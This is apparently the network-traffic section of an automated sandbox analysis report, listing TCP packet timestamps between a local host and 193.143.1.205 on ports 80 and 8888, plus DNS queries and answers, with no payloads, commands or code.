Jan 10, 2025 15:33:01.889230013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889245033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889260054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889266968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.889276028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889282942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.889297009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.889334917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889352083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889388084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.894994020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895009041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895031929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895045996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895050049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.895062923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895080090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895109892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.895113945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895129919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895147085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895154953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.895154953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.895164013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895194054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.895230055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895245075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895260096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.895302057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.895302057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.921915054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.921937943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.921952963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.921968937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.921984911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.922002077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.922018051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.922034979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.922043085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.922049999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.922066927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.922074080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.922101974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.922101974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.936315060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.936371088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.936405897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.936439991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.936450005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.936475992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.936485052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.936511040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.936559916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943279028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943347931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943398952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943402052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943473101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943509102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943526030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943559885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943599939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943617105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943650007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943686008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943701982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943737030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943790913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943814993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943821907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943857908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943892002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943927050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943939924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943939924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.943955898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.943998098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944015026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.944032907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944067955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944083929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.944103003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944135904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944170952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944204092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.944206953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.944235086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.951596022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951656103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951709032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951721907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.951740980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951766014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.951776981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951809883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951824903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.951843977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.951891899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.973769903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.973809004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.973843098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.973906994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.973958015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.973978996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.973978996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.973990917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974024057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974056005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974097013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.974097013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.974618912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974653006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974688053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974699020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.974739075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974771023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974803925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974849939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.974849939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.974853992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974888086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974930048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.974936962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.974971056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975019932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975054026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975094080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975094080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975104094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975138903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975171089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975224018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975250959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975276947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975337029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975349903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975383997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975436926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975445986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975471020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975522041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975554943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975583076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975583076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975588083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975620031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975672960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975717068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975717068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975723982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975758076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975790024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975840092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975872040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975883961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975883961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975914955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975949049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.975964069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.975980997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976032972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976037979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976068020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976118088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976120949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976155043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976185083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976217031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976244926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976249933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976279974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976311922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976322889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976322889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976345062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976377010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976394892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976409912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976443052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976476908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976509094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976521015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976521015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976542950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976574898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976608992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976643085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976650000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976650000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976676941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976707935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976743937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.976749897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.976773024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.977152109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.981848955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.981880903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.981894970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.981930017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.981944084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.981944084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.981945038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.981985092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.981985092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.981998920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.982016087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.982109070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.007859945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.007888079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.007901907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.007925987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.007941961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.007958889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.007998943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.007998943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.007999897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008013010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008037090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008054018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008068085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008075953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.008075953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.008085012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008172989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008188009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008203983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008209944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.008209944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.008219004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008234978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.008270025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.008270025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030337095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030363083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030380964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030401945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030419111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030436039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030452967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030510902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030510902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030515909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030531883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030548096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030556917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030564070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030580044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030595064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030612946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030617952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030617952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030627966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030673981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030725956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030740976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030755043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030776024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030792952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.030793905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030793905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.030844927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.038307905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.038372993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.039056063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.253151894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.253312111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.381433010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.386322975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386336088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386347055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386392117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386403084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386413097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386424065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386431932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.386483908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.386502981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386517048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386529922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386543036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.386578083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.386682034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386692047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386702061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386712074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386720896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386732101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386742115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:02.386754990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.386785030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.387630939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.614753008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.626003981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:02.757627010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:03.261234999 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:03.266088009 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:03.266280890 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:03.266421080 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:03.271399975 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:04.054145098 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:04.102891922 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:05.485336065 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:33:11.171273947 CET	54239	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:33:11.171273947 CET	192.168.2.8	1.1.1.1	0x1289	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:33:11.179126978 CET	1.1.1.1	192.168.2.8	0x1289	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:33:11.857737064 CET	1.1.1.1	192.168.2.8	0xf79c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:33:11.857737064 CET	1.1.1.1	192.168.2.8	0xf79c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:34:16.059664011 CET	1.1.1.1	192.168.2.8	0x50ae	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

